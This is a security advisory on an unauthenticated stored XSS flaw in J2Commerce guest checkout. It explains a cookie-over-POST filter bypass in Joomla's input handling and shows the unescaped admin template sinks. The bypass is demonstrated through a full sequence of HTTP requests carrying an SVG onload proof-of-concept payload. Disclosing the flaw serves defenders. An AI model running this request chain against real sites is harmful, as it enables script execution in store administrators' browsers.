
Stored XSS in J2Commerce Guest Checkout via Cookie Filter Bypass
J2Commerce (com_j2store) ≤ 4.1.5 — Unauthenticated Attacker Stores XSS Payload That Executes Automatically in Administrator Browser on Page Load
J2Commerce 4.1.5 is vulnerable to Stored Cross-Site Scripting (XSS) through the guest checkout billing address fields. An unauthenticated attacker exploits a filter bypass in Joomla's Input::getArray() combined with PHP's variables_order=EGPCS (Cookie overrides POST in $_REQUEST) to store unsanitized HTML in fields such as billing_first_name. These fields are echoed directly in the administrator order management panel without , causing the payload to execute in the administrator's browser.
htmlspecialchars()The XSS payload fires automatically on page load when the administrator navigates to the orders listing — no click on an individual order is required. A single HTTP request chain (add to cart → submit checkout with cookie bypass → place order) permanently stores the payload, which will execute in every administrator's browser until the order is deleted or the vulnerability is patched.
The attack requires no authentication from the attacker. Guest checkout is a standard, commonly-enabled feature of e-commerce sites, providing economic incentive for admins to view new orders — making exploitation trivial to weaponize.
| COMPONENT | VULNERABLE | TESTED ON | FIXED |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 on Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Type: Cross-Site Scripting — Stored (CWE-79)
Authentication required: None — unauthenticated (guest checkout)
Primary Sink: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Write Path: components/com_j2store/controllers/checkouts.php:535
The vulnerability consists of two compounding weaknesses: an input filter bypass at the write path and missing output encoding at the read path.
1. Input filter bypass — Joomla Input::getArray() misuse
J2Commerce's guest checkout controller reads address fields using $app->input->getArray($_POST). Joomla's implementation iterates the $_POST array and uses each value as a filter type (not as data), while reading the actual value from $_REQUEST:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — WRITE PATH
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — GETARRAY() METHOD (LINE 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — DATA SOURCE (LINE 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order — Cookie overrides POST in $_REQUEST
PHP's $_REQUEST is a merged superglobal built from $_GET, $_POST, and $_COOKIE. When variables_order=EGPCS (the compiled-in default for most PHP environments), Cookie (C) is listed after POST (P), so Cookie wins for conflicting keys.
Submitting first_name=RAW in the POST body causes Joomla's InputFilter::clean() to apply filter type 'Raw' (no-op) against the cookie value first_name=<svg...>, which wins in $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — CLEAN() METHOD (LINE 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Net result: POST body first_name=RAW sets the filter to a no-op. Cookie first_name=<svg onload="alert(document.domain)"> wins in $_REQUEST. Joomla returns the cookie value unfiltered. J2Commerce stores it raw in j2store_orderinfos.billing_first_name.
3. Missing output encoding — admin template sinks
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — PRIMARY SINK (fires on listing page load)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SECONDARY SINK
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
This bypass works on all PHP environments except Debian/Ubuntu (which explicitly sets request_order = "GP", excluding cookies from $_REQUEST). All other major hosting environments — cPanel/Plesk shared hosting, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — fall back to EGPCS, making Cookie override active out of the box with no configuration changes required.
Open the J2Commerce admin orders listing as the victim administrator. This confirms the admin is actively using the panel and will encounter the payload upon next visit.

As the unauthenticated attacker, send a GET request to the J2Commerce frontend homepage to establish a session and extract the CSRF token embedded in the page's JSON options. This token is required for subsequent POST requests.

Add a product to the attacker's cart. The cart must be non-empty for the guest checkout endpoint to accept address submission.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Submit the guest checkout address form with two conflicting values for first_name:
first_name=RAW — Joomla interprets this as the filter type (no-op)first_name=<svg...> — this wins in $_REQUEST (PHP EGPCS: Cookie > POST) and is returned unfilteredPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Submit the shipping address step using the same cookie bypass. This step sets the shipping country in session — skipping it causes a "SHIPPING_ADDRESS_NOT_FOUND" error on subsequent steps.

Select the payment method (cash on delivery). The payment_plugin field is not a text input susceptible to XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Submit the confirm step to receive the order summary page containing a hidden hash field. This hash is required to finalize the order.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Finalize the order using the hash from the previous step. The server creates the order record in joom_j2store_orderinfos with billing_first_name set to the raw XSS payload.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

As the victim administrator, navigate to the J2Commerce orders listing. The XSS payload fires immediately on page load — no click required. The default_items.php:73 template renders billing_first_name unescaped in the Customer column.
When admin views the order, the server response includes:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
